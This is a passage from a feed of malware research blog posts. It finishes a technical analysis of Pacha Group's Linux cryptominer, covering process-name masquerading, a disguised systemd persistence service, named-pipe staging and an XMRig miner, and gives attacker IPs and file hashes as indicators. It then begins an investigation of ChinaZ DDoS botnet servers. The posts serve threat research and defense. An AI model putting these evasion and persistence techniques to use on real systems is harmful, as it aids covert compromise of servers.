compromised servers by attempting to access specific paths in order to detect
and restrict potential operational webshells or dropped binaries by removing
all available file permissions to them. There is a github project called
&lt;a href="https://github.com/joaomatosf/jexboss"target="_blank" rel="noopener"&gt;JexBoss&lt;/a&gt; regarding JBOSS serialization
vulnerabilities that uses these same paths, suggesting that authors behind
other cryptomining campaigns could be using it to spread their infrastructures,
answering why these paths are being searched for:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As previously mentioned, evaluation of the current system in order to know if
it is already compromised has been accomplished. Furthermore, there may be a
chance that the current system is already compromised by the same group. In
order to figure out whether this is the case all process names are checked
again with the end goal of recognizing any familiar process names used by the
same group and if found, the process will terminate. This could potentially
work as a possible vaccine to be used by some miner-protection solutions
against this specific miner:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the first stage has completed an initial reconnaissance for the running
processes, it proceeds to create a random string to rename itself. It also
overwrites some known memory locations where the original process name resides
and overwrites them with a fake process name (in this case &lt;code&gt;[kworker/1:7]&lt;/code&gt;). An
example of such memory locations is &lt;code&gt;argv[0]&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore it will fork itself and detach from its parent to become an
independent process running on a different session as a means to create a fresh
new process:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Lastly, the current session username is checked and the control flow will
diverge accordingly:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As demonstrated in the previous screenshot, the main difference is that if the
file was executed as root, persistence mechanisms would be enforced.&lt;/p&gt;
&lt;h3&gt;Persistence Mechanisms&lt;span class="hx:absolute hx:-mt-20" id="persistence-mechanisms"&gt;&lt;/span&gt;
&lt;a href="#persistence-mechanisms" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The applied persistence mechanisms consist mainly of a given dropped implant
saved as ‘mand’ followed by installing a Systemd service which will grant its
persistence in the system. In addition, the timestamp of the dropped implants
will be replaced as for the one of &lt;code&gt;/usr/bin/find&lt;/code&gt; as a means to make the
dropped file unnoticed in the filesystem.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;A Systemd unit file will be decoded and dropped as ‘systemd-mandb.service’
masquerading the genuine mandb service. The following is the decoded Systemd
unit file:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It is important to highlight that this persistence measure will make the
intrusion harder to spot for the untrained eye since it is not the average
cron-job that most Linux malware tend to use. Furthermore we spotted other
components of this campaign dropping and installing initrd scripts as well as
the following one:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After persistence measures have been enforced, several components will be
downloaded to the current compromised system to remain with the attack chain:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Multi-Stage Architecture&lt;span class="hx:absolute hx:-mt-20" id="multi-stage-architecture"&gt;&lt;/span&gt;
&lt;a href="#multi-stage-architecture" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The following diagram is a simplified version of the various components that
make up the malware’s main infrastructure: &lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can assume that the main reason for having such a broad infrastructure
involving a large number of components is to make it more resilient to server
shutdowns as well as to provide a factor of modularity. Furthermore, having
this amount of components interconnected with each other also implies to invest
a much greater effort in order to clean a given compromised system.&lt;/p&gt;
&lt;p&gt;These components will run according to a small protocol involving the main
dropper and all remaining components executed via a shared named pipe. This
execution protocol is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The majority of the secondary stagers create (or just open if it already
exists) a named pipe on execution with write permissions in which they write
their pid to:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;On the other hand, the main dropper serializes each stager by reading and
logging the contents of the named pipe therefore retrieving each stager’s pid.
This way the main dropper acts as a manager for each active stager in the
system:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The first stage’s main threat will continue execution attempting to update the
available stagers by downloading them in intervals on an infinite loop:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition, a timed routine will be executed by triggering a &lt;code&gt;SIGALRM&lt;/code&gt; signal
also in intervals, handling this signal via sigaction sycall, and therefore
pivoting control of execution to its correspondent signal handler
intermittently. This same technique has been spotted in various components of
this malware’s infrastructure:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This installed signal handler is mainly used to drop further artifacts using
embedded one-liner python scripts such as the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig22.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This script will drop further stages as well as further scripts. The following
is an example of such scripts:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig23.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;GreedyAntD Miner Client&lt;span class="hx:absolute hx:-mt-20" id="greedyantd-miner-client"&gt;&lt;/span&gt;
&lt;a href="#greedyantd-miner-client" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The deployed miner instance is a XMRig variant. We can confirm this via code
reuse:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig24.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can also confirm the miner shares code with other components from the same
infrastructure, also based on code reuse:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig25.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It uses the &lt;a href="https://en.bitcoin.it/wiki/Stratum_mining_protocol"target="_blank" rel="noopener"&gt;Stratum&lt;/a&gt;
mining protocol and connects to a XMRig proxy in order to conduct the mining
operation. We assume the reason to use this specific protocol is to prevent to
deploy its clients with encoded configurations containing the target wallet
address they will be mining to, instead they connect to already configured
proxies:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig26.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following are the Proxies that interacts with:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig27.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, we can also confirm it is using Stratum by sniffing the Miner’s
stream to these proxies:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig28.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We notice that the client and server are exchanging information encoded as
json-rpc strings, which is commonly used in stratum mining protocol.&lt;/p&gt;
&lt;p&gt;Highlighted are the different cryptocurrency mining algorithms that the client
supports. These names can be seen in the main XMRig-proxy GitHub repository:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig29.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following screenshot is a process list view on htop of a compromised
system. Highlighted are some of the malicious processes related to the
campaign:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig30.png" title="htop of a compromised system" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;htop of a compromised system&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Connections with Linux.HelloBot&lt;span class="hx:absolute hx:-mt-20" id="connections-with-linuxhellobot"&gt;&lt;/span&gt;
&lt;a href="#connections-with-linuxhellobot" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Among the artifacts hosted in GreedyAntd’s servers, we managed to find a single
component not related to the same cryptojacking operation just previously
discussed and leveraged by Pacha Group. This file was hosted on a compromised
third party server and its main purpose was to drop a xmr-stak json
configuration. This json file was the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig31.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we analyzed this binary for code reuse connections we found it shared a
significant amount of code with Linux.HelloBot, a Chinese bot discovered by
Intezer along with MalwareMustDie in January 2019:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig32.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analyzing the code connections we came to the realization that both
samples were sharing the same instance of some static libc implementation:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig33.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Library similarities tend to not be as relevant in some specific scenarios in
regards to finding connections between threat actors. However, in this case
these library similarities seem to be relevant enough to consider a potential
link between these two threat actors. Especially since from viewing all
different x86 libc versions in our database, it only matched with
Linux.HelloBot’s statically linked libc. In addition, this libc instance has
identical code in both samples which implies it was compiled with the same
compilation flags. This reinforces that the particular libc instance may be a
potential link to connect these binaries with a single author, also taking into
account that both of them have indicators that suggest they have Chinese
origin.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This
&lt;a href="../../../2021/01/a-rare-look-inside-a-cryptojacking-campaign-and-its-profit/"&gt;cryptominer use&lt;/a&gt;
case is another example of an undetected Linux malware operating in the wild.
After conducting more research we concluded that the approach of
interconnecting all second-stagers to a manager (this being the main dropper)
via IPCs is successful for anti-dynamic analysis. In order for any of the
secondary-stages to run successfully they will need to be present with the main
dropper in a given system. This implies that behavior and dynamic analysis will
fail if any of the second-stager components are analyzed independently without
tampering the original sample. This may explain why the majority of the
components in this malware’s infrastructure remain practically undetected:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig34.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;185.165.169.6
185.10.68.100
4d1a6151166048ea066c6b5918fbb02a43ed357e3e7eb75bc73970a97008337e
chn
206287e22445431ccab0a574f3002e28d1aaffa5153ba66f2a754d1f92b90a78
chn.unpacked
9119d47ee2b6e7bf94245699fec1432042e30255d9f64289f8e0aca56570eab3
ofd
096f8f387200fa70dddb2bfe5a77a50c88acb155d4f296f1fa6cb09109053246
ofd.unpacked
ee0ab03909ca433deb9161e831512c5bd6c64ffbc9332c3eea14b85b996ba882
rlr
1161fbe0a9ae1c5e0792d23682b602990af31c6847865220cf4f2f91981d426c
rlr.unpacked
3c3379284417070983da222f8ea347a4166c28a2ba3445e19f92b10b9b539573
_j.jpg
9ff1bf60e35912141c74728738c3af105d06ea8fa9c0cbd7a4b196ec1cdc9e22
j.jpg
dafac060867643d27a81e99e3753d155658e5f4a7f359317e0e8609fc7d14373
jm
069a87fbd966df854f55d82fc98f89ef394cee59b352fba5fb402887892a4161
jm.unpacked
84165c21fc144894c5fe674cfd06edafd4b95d52abf86afef4d61db91099bf8a
jpp
544e71e3a7ff1f1f0e902cef00156aa157790f7c3450870ca9272936443e05af
jpp.unpacked
a9656439d1ac3881c1ba9e0f2fd462b8a4469bf79035233517eae65ed6afafd0
jrd
e43d381c43749d7d267d207273ef3b634bfaeb0ff76f8e2cd6e0b27c6e3b07c8
jrd.unpacked
3c3379284417070983da222f8ea347a4166c28a2ba3445e19f92b10b9b539573
_j.sh
b6455e0335ad99028656b5b847fd5d530bc079b2524b2ecbf4f06d5e69473e7d
lmmml
39904faf4a620aa3a9e9ece3022f0bced20ef7684e0f352f99267e7c462d227c
lmmml.unpck
910fea37c73fc328522e04c77d1ad555c990f0376960770698bd3590c5b1b485
nvn
81b8860ecf21a73de8663188962fb1dae5a5c17e7b6f4ac41e0198d12497838f
nvn.unpacked
371f52a238d4be6eb8d7fd0130684f4286681f09adb61fbca3bdfacef8c747f7
sds
b72074b6c75b4fe5ea74e2db716f488a356d9d879c6d3aa5e9ed4bb786993761
sds.unpacked
42a423b6107f2186964ac9a1e7882a50f6b5cb9f96926dd2a69b1fc5eaba81d6
lmmml.1
e9a06f7183f7e06d8e414e16caae769a3859fcca20acae735f6744712f84b3e5
sss
4f9e77b4e0d80ea74ba861ab54b7360df7b823f24fd9cedb1fd44a29da70b11f
sss.unpacked
0940472a185099df2f814bcedbc1c913a7075168ab90d63249c6301849c1d93f
dld
6ff5e36d2999f8593cc4daa5e7c633abe0f28b0cba9da0339fc8d3cb7f6090a3
dld.unpacked
c70423e5d44cc31df70a69d65e56be1621956bccec2a3a68a69195ecccd4e881
_jj.jpg
452ed9cf53aed0afdc7900ca855f652a7c1585c2b03b27e6f3224fb6204da25a
_jj.sh
6f3add7ec36a710973d09b814082e105b848cd78f2769ba6bbc946f59f463457
ldl
045d7afaf53692607e7433a4fe8f19b2e3790414c649c8630086039d88935a02
ldl.unpacked
0940472a185099df2f814bcedbc1c913a7075168ab90d63249c6301849c1d93f
olo
6ff5e36d2999f8593cc4daa5e7c633abe0f28b0cba9da0339fc8d3cb7f6090a3
olo.unpacked
7ae8c6c65955fb9340b07afd380bbf3383b5030a92ba204cd61ca21c13a955e8
_z.jpg
9e049a51741f22403a9c08d3d7625ad4761cbfda5a8a051f6e8195e0f6a8e9cd
z.jpg
7ae8c6c65955fb9340b07afd380bbf3383b5030a92ba204cd61ca21c13a955e8
_z.sh
9e049a51741f22403a9c08d3d7625ad4761cbfda5a8a051f6e8195e0f6a8e9cd
z.sh
Cceddd7e9a7ddb4991776239cb0b941d061ac21db00b1021a8c45660f52e56b7
E2e07782dbfddeb95661c7360db5113c9b035cfb8e43e038106bd0f537553b36
40d8d89aa19ca4121ab583758692752964402923917da766f39a32cbc8bdd6dd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ChinaZ Revelations: Revealing ChinaZ Relationships with other Chinese Threat Actor Groups</title><link>https://research.intezer.com/blog/2019/01/chinaz-relations/</link><pubDate>Mon, 07 Jan 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/01/chinaz-relations/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Distributed denial-of-service (DDoS) attacks were on the rise in 2018, ranging
from a high volume of
&lt;a href="https://www.corero.com/resources/ddos-attack-types/mirai-botnet-ddos-attack.html"target="_blank" rel="noopener"&gt;Mirai&lt;/a&gt;
attacks to more sophisticated botnets targeting enterprises. An example of
these attacks is the one targeting
&lt;a href="https://techcrunch.com/2018/03/02/the-worlds-largest-ddos-attack-took-github-offline-for-less-than-tens-minutes/"target="_blank" rel="noopener"&gt;GitHub in February 2018&lt;/a&gt;,
forcing the website to go offline for approximately 10 minutes.&lt;/p&gt;
&lt;p&gt;In researching the current DDoS ecosystem we find threat actors from different
regions displaying different motivations. Chinese threat actors in particular
have predominantly deployed DDoS attacks in their cyber campaigns, and China
has emerged as having one of the highest rates of
&lt;a href="https://securelist.com/ddos-report-in-q3-2018/88617/"target="_blank" rel="noopener"&gt;DDoS attacks&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In this blog we will discuss the current state of a well-known Chinese threat
actor group known as ChinaZ, notorious for targeting Windows and Linux systems
with DDoS botnets since
&lt;a href="http://blog.malwaremustdie.org/2015/01/mmd-0030-2015-new-elf-malware-on.html"target="_blank" rel="noopener"&gt;November 2014&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We will explain how we first came across
&lt;a href="http://blog.malwaremustdie.org/2015/08/mmd-0039-2015-chinaz-made-new-malware.html"target="_blank" rel="noopener"&gt;ChinaZ&lt;/a&gt;,
along with the various methods employed to discover more of the group’s
servers. Additionally, we will analyze the types of files hosted on the servers
and conclude with a technical analysis highlighting potential connections that
could relate various Chinese actors in the current DDoS landscape such as
&lt;a href="https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique"target="_blank" rel="noopener"&gt;Nitol&lt;/a&gt;,
&lt;a href="https://www.digitaltrends.com/computing/mrblack-malware-botnet/"target="_blank" rel="noopener"&gt;MrBlack&lt;/a&gt; and
some minor relations to
&lt;a href="https://securitybrief.asia/story/new-malware-spotted-asia-reminiscent-iron-tiger-apt"target="_blank" rel="noopener"&gt;Iron Tiger APT&lt;/a&gt;.
These relationships will be discussed in the technical analysis section.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Initial ChinaZ Discovery via Honeypot Hit&lt;span class="hx:absolute hx:-mt-20" id="initial-chinaz-discovery-via-honeypot-hit"&gt;&lt;/span&gt;
&lt;a href="#initial-chinaz-discovery-via-honeypot-hit" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the last few months we have observed a higher volume of attacks from
Billgates, a DDoS botnet attributed to ChinaZ, a well-known Chinese threat
actor notorious for deploying a series of botnets primarily targeting Linux
systems.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/ulexec/status/1065743509376954368"target="_blank" rel="noopener"&gt;https://twitter.com/ulexec/status/1065743509376954368&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ChinaZ was fairly active in 2018 based on previous hits that were encountered
in our honeypots. An example of an attack vector via SSH/Telnet bruteforce
employed by ChinaZ can be seen in the following session log from one of our
honeypots:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The downloader bash script seems to be fairly simple in logic by changing
directories from /root to /tmp once it detected that the dropped implant could
not be executed after several attempts changing its file permissions.&lt;/p&gt;
&lt;p&gt;Once we accessed where the script was trying to download its corresponding
files we found that there were files being hosted in a Chinese Http File Server
(HFS) panel. The following is a screenshot of this panel:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We discovered the server was online for less than 24 hours, and that all of the
files were uploaded on that same day. We decided to observe this and other
servers and conduct a tracking investigation with the intention to collect all
of the information we could about the botnet infrastructure.&lt;/p&gt;
&lt;h2&gt;Observing ChinaZ&lt;span class="hx:absolute hx:-mt-20" id="observing-chinaz"&gt;&lt;/span&gt;
&lt;a href="#observing-chinaz" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;ChinaZ is known to use Chinese Http File Server (HFS) instances, and unlike
other major DDoS botnets such as Mirai, ChinaZ operates mostly on Windows
Servers. In this particular HFS server we see various hosted files. The two
Linux prefixed files are both regular Billgates builds. We can confirm this
based on code reused from other samples:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig4.webp" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Since BillGates is a well-known botnet and there are plenty of well-written
technical analysis articles about the botnet and its relations to ChinaZ, we
have decided to not cover its technical analysis for the sake of simplicity.
These builds are default BillGates instances. Both of these instances share the
same CNC domain which is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Among the hosted files in the HFS server we can also find a PE executable
labeled as BX.exe, which is a Gh0st RAT variant.&lt;/p&gt;
&lt;p&gt;Furthermore, this Gh0st RAT instance decodes the same CNC address:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Since both BillGates and the Gh0st RAT instances found in the initially
discovered HFS panel shared the same CNC, we can associate both implants to be
components of a single botnet targeting both Linux and Windows systems. This
same scenario was presented by Avast researchers as the
&lt;a href="https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf"target="_blank" rel="noopener"&gt;Chinese Chicken&lt;/a&gt;
DDoS botnets by exposing a series of multi-platform Chinese DDoS tools.&lt;/p&gt;
&lt;p&gt;After one day threat actors behind this botnet updated the HFS panel by
uploading two ChinaZ.DDoSClient samples compiled for x86 and x86_64 systems
accordingly.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is a code reuse analysis of these new samples:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;DDoSClient malware is a DDoS client known to be leveraged by ChinaZ. As an
interesting fact about the progression of this threat actor group, at some
point in time the source code of this client was hosted in GitHub, although
DDosClient was originally code of ChinaZ.
&lt;a href="http://blog.malwaremustdie.org/2015/06/the-elf-chinaz-reloaded.html"target="_blank" rel="noopener"&gt;MalwareMustDie&lt;/a&gt;
exposed this source
code and the actor’s identity. The actor behind this client was a student hired
by ChinaZ.&lt;/p&gt;
&lt;p&gt;Furthermore, we can find a compressed archive labeled as &amp;lsquo;Black Wolf Linux
Blasting V4.0&amp;rsquo; in Chinese among the different binaries hosted in the HFS
server. Inside this RAR file we encounter the following files:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Most interestingly, the contents of this compressed file appear to be a Chinese
DDoS tool:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The tool enables users to edit which files will be used on deployment, and
other related configurations such as the time out. We observed this specific
DDoS tool advertised in a range of Chinese forums:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If we analyze one of the scripts inside the zip file and compare it with our
initial honeypot hit log, we can assume that the attack was deployed using this
tool:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We are not sure whether this Chinese DDoS tool was distributed by ChinaZ, or if
the group purchased this tool in order to use it in its campaigns.&lt;/p&gt;
&lt;p&gt;The server was online for one more day before it went offline. This behavior
suggests that actors behind this botnet may have migrated to a different CNC
server, they were performing some internal management, or that it was merely
part of the way they operate since we have seen this same behavior tracking
their other servers.&lt;/p&gt;
&lt;h2&gt;Hunting for Additional ChinaZ Servers&lt;span class="hx:absolute hx:-mt-20" id="hunting-for-additional-chinaz-servers"&gt;&lt;/span&gt;
&lt;a href="#hunting-for-additional-chinaz-servers" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We decided to look up the specific CNC domain name seen in the BillGates and
Gh0st RAT instances found in the initial HFS server, to see if this domain had
multiple resolutions in order to find more potential servers linked to this
botnet. When we searched the domain on RiskIQ we found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;All of the shown IPs in the previous screenshot denote a server that would
resolve to &amp;ldquo;ak-74.top&amp;rdquo;, the CNC address seen in the first HFS server. Based on
these resolutions we were able to find other panels like the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We instantly recognize the same pattern in terms of the naming convention as
well as the types of files that were hosted in this HFS server. In contrast
with the previous HFS server, this server is only hosting Windows binaries and
a zip file.&lt;/p&gt;
&lt;p&gt;The 7z compressed file contained the following files:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These files appear to be composing a Port Scanner tool written in python that
could also be used to deploy DDoS attacks.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot above we can observe an executable responsible for the main
TCP/SYN flood, and the script used to deploy DDoS attacks.&lt;/p&gt;
&lt;p&gt;We also used Shodan to hunt for more operative ChinaZ HFS servers. We did this
by filtering Shodan’s query for the appropriate service and country.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Leveraging Shodan we were able to find many other ChinaZ linked servers, in
which we collected additional relevant samples. After we discovered several
ChinaZ servers and we collected their correspondent hosted files, we found
interesting correlations and relationships which we will discuss in the next
section.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Throughout the investigation we found several interesting facts among the
artifacts we collected and analyzed. The following is a brief summary of our
findings.&lt;/p&gt;
